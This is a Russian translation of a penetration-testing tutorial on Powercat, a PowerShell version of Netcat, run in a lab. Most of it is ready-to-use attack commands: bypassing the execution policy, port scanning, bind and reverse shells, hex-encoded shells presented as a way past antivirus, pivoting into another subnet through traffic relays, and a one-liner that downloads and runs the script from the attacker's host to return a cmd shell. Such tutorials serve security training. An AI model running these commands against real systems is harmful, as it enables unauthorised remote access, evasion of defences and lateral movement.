Powercat для пентестинга

Powercat для пентестинга

@Leakinfo

В этой статье пойдет речь о Powercat для тестирования на проникновение. Программа обладает большим количеством полезных функций и возможностей.

Введение

Powercat – это простая сетевая утилита, используемая для выполнения низкоуровневых сетевых коммуникационных операций. Этот инструмент представляет собой реализацию хорошо известного Netcat в Powershell. Многие специалисты знают, что традиционные антивирусы позволяют запускать Powercat. Установленный размер утилиты составляет всего 68 КБ. Портативность и независимость инструмента от платформы делают его незаменимым компонентом для специалистов ИБ.

Основные опции Powercat

Powercat имеет различные опции:

Настройка Powercat

«Powershell execution policy» – это функция безопасности в Windows, которая определяет, какие скрипты могут или не могут выполняться в системе, поэтому нужно обойти это ограничение. Это позволит пользователю запускать любые скрипты. После этого следует скачать Powercat с помощью «wget».

powershell -ep bypass
wget https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1 -o powercat.ps1

Теперь, когда пользователь загрузил скрипт Powercat, он может импортировать его в текущий терминал Powershell, а затем ввести следующую команду:

Import-Module .\powercat.ps1

Сканирование портов

Powercat оснащен функцией сканирования портов. Инструмент может сделать это, попытавшись установить TCP-соединение с определенными портами. Например, если пользователю нужно проверить, работает ли служба на порту 21, 22, 80, 443, он может сделать это с помощью команды:

(21,22,80,443) | % {powercat -c 192.168.1.150 -p $_ -t 1 -Verbose -d}

Следует обратить внимание на то, что пользователь добавил номер порта в качестве переменной списка. Режим клиента (флаг «-c») указывает клиента для сканирования. Как можно увидеть на скриншоте ниже, если порт был обнаружен открытым, Powercat успешно настраивает связь с помощью службы. Флаг для отключения («-d») указывает, что Powercat прервет связь с потоком, как только порт откроется. Следовательно, именно так можно обнаружить открытые порты с помощью Powercat.

Передача файлов

Передача файлов в Powercat возможна путем ввода данных в поток данных и извлечения их на стороне клиента.

Следует создать текстовый файл под названием «notes.txt» в текущей папке. Здесь флаг ввода («-i») используется для ввода данных в поток. Его также можно использовать для перемещения файлов, объектов массива байтов или строк.

Сначала пользователь настроит листенер на стороне клиента. Для удобства он воспользуется Netcat в Linux. После настройки человек будет использовать Powercat для передачи текстового файла.

nc -lnvp 443 > notes.txt
powercat -c 192.168.1.3 -p 443 -i notes.txt

Не столь важно, что было в «notes.txt» – файл был доставлен в пункт назначения. Файл был успешно передан после завершения соединения.

Bind Shell

Bind Shell касается процесса, во время которого хакер может подключиться к открытому листенеру на целевой машине и взаимодействовать с ней. Чтобы продемонстрировать это, пользователь настроит листенер на цели с помощью Powercat, а затем подключится к нему. Есть два возможных сценария.

  • Netcat –> Powercat.

В данном примере хакером является Kali, а на Windows работает листенер.

Нападающий: Kali

Жертва: Windows

При идеальном сценарии хакер доставит код, который будет выполнен для открытия листенера. Это позволит ему установить связь с жертвой, подключившись к ее машине.

powercat -l -p 443 -e cmd
nc 192.168.1.145 443

Таким образом, можно увидеть, что интерактивный сеанс теперь активен на компьютере хакера.

  • Powercat –> Powercat. То же самое может быть сделано и между двумя скриптами Powercat. На листенере пользователь настраивает порт 9000, а хакер подключается к нему и доставляет исполняемый файл «cmd».

Листенер: Ignite (имя пользователя Windows)

Хакер: raj (имя пользователя Windows)

powercat -l -p 9000 -e cmd -v
powercat -c 192.168.1.145 -p 9000 -v

Хакер успешно подключается к листенеру и запускает интерактивный сеанс. Личность была проверена с помощью «whoami».

Reverse Shell

Reverse Shell касается процесса, во время которого на компьютере хакера запущен листенер, к которому подключается жертва, а затем сам хакер выполняет нужный ему код.

  • Netcat –> Powercat. В данном случае Kali (Netcat) – это машина хакера с листенером, работающим на порту 443. Windows, работающая под управлением Powercat, должна подключиться к нему.

Атакующий: Netcat (Kali)

Жертва: Ignite (имя пользователя Windows)

Чтобы получить желаемый результат, необходимо запустить Netcat в режиме листенера на компьютере хакера, а затем включить Powercat в Windows в режиме клиента для установления подключения.

nc -lvnp 443
powercat -c 192.168.1.3 -p 443 -e cmd.exe

Как можно увидеть, как только жертва вводит команду Powershell, хакер получает интерактивный shell.

  • Powercat –> Powercat. То же самое можно сделать и с двумя устройствами Windows.

Хакер: Ignite (имя пользователя Windows)

Жертва: raj (имя пользователя Windows)

Сначала нужно настроить листенер на порту 9000, а затем запустить Powercat в режиме клиента, чтобы подключиться к нему.

powercat -l -p 9000 -v
powercat -c 192.168.1.145 -p 9000 -e cmd -v

Как можно увидеть, при подключении к этому листенеру был создан интерактивный shell.

Конечно же, приведенная выше команда Powercat на стороне жертвы – это всего лишь симуляция того, как будет работать получение интерактивного shell посредством удаленного выполнения кода в реальной жизни.

Standalone shell

Эта опция будет полезной, когда скрипт может быть выполнен в системе. Она позволяет хакеру закодировать reverse shell в файле «.ps1» и дождаться выполнения скрипта.

Сценарий 1. Допустим, выполняется задача cron, которая задействует скрипт, имеющий доступ на запись. Можно скопировать и вставить следующую команду, чтобы получить reverse shell даже без доступа к выполнению команд Powershell.

powercat -c 192.168.1.3 -p 443 -e cmd.exe -g > shell.ps1
.\shell.ps1

Следует убедиться, что листенер запущен. Пользователь использует Kali в качестве атакующей машины с применением Netcat.

nc -lnvp 443

Как читатели могут увидеть, есть несколько способов получить интерактивный shell на целевой машине с помощью Netcat.

Encoded Shell

Чтобы обойти традиционные устройства безопасности, такие как антивирусные решения, можно закодировать shell, который человек использовал выше. В Powercat есть хорошая опция для кодирования команды в шестнадцатеричный массив. Таким образом, есть возможность обойти некоторые средства безопасности. Это делается с помощью команды:

powercat -c 192.168.1.3 -p 443 -e cmd.exe -ge > encodedshell.ps1

Затем shell можно активировать с помощью опции «powershell —E», что позволяет выполнять закодированную строку.

powershell -E <string>

Затем строка кодируется значением сверху.

Пользователь заранее настроил листенер на атакующей машине (Kali) и ждал соединения. Как можно увидеть, shell успешно выполняется.

Туннелирование

Туннелирование – это эффективный механизм сохранения скрытности при выполнении операций Red Team или в реальных скриптах. Powershell и Powercat могут помочь с туннелированием и сокрытием личности в следующий раз, когда пользователь будет проводить оценку.

Есть три машины. Хакер связывается с машиной с двумя сетевыми картами и атакует машину, работающую в альтернативной подсети (192.168.146.0/24).

Предположим, что злоумышленник уже имеет доступ к туннельной машине. Пользователь повторит скрипт с помощью команды «Enter-PSSession». Она позволяет получить интерактивный терминал Powershell туннеля с помощью учетных данных.

Enter-PSSession -ComputerName 192.168.1.45 -Credential raj

После ввода учетных данных пользователь видит, что был создан интерактивный сеанс PowerShell.

Он запускает «ipconfig» как команду валидатора, однако есть интересное наблюдение. На этой машине были настроены две карты локальной сети, и был подключен еще один адаптер. Возможно, в этой подсети работают и другие компьютеры.

Чтобы убедиться в этом, понадобится использовать Powercat в этой системе. Пользователь загружает его с помощью «wget».

wget https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1 -o powercat.ps1
ls

Однако прежде чем запустить этот скрипт, нужно снова изменить политику выполнения. Кроме того, после небольшого анализа пользователь обнаружил, что 192.168.146.129 был жив и даже отвечал ему. Следует просканировать эту систему с помощью Powercat.

Set-ExecutionPolicy -ExecutionPolicy RemoteSigned
Import-Module .\powercat.ps1
(21, 22, 80, 443) | % { Powercat -c 192.168.146.129 -p $_ -t 1 -Verbose -d}

Как можно увидеть, были открыты три порта: 21, 22, 80.

Теперь, если пользователь настроит ретранслятор трафика, система хакера сможет обмениваться данными и подключаться по SSH к машине жертвы (192.168.146.129).

Человек будет использовать Powercat для настройки ретранслятора трафика:

powercat -l -p 9090 -r tcp:192.168.146.129:22 -v

TCP-трафик с порта 22 (192.168.146.129) теперь ретранслируется 192.168.146.128 (туннель) на порту 9090. Таким образом, из внешней системы пользователь использует PuTTY для подключения к порту 9090 туннельной машины, что соединяет его с машиной жертвы.

Вот так просто пользователь завершил туннелирование и получил доступ машине жертвы.

Можно также использовать Powercat для настройки ретрансляции на порту 80, через который пользователь сможет получить доступ к веб-сайту, работающему на базе машины жертвы.

powercat -l -p 9090 -r tcp:192.168.146.129:80 -v

Powercat One Liner

Powercat Reverse Shell также существует как однострочная команда. Предположим, что пользователю доступно выполнение кода на машине жертвы, он может использовать однострочный shell от Powercat, чтобы вернуть reverse shell на листенер, запущенный на машине хакера. Для этого процесса нужно загрузить Powercat в отдельную папку и запустить веб-сервер.

wget https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1 -o powercat.ps1
python -m SimpleHTTPServer 80

Пользователь немедленно настраивает листенер на порту 4444 на машине хакера (Kali). Тем временем у него есть выполнение кода на целевом объекте, поэтому он будет использовать следующий shell от Powercat:

powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.1.3/powercat.ps1');powercat -c 192.168.1.3 -p 4444 -e cmd"

Как только человек нажимает на клавишу «Enter», он получает reverse shell для листенера, работающего в Kali.

Автор переведенной статьи: Harshit Rajpal.

Источник





Report Page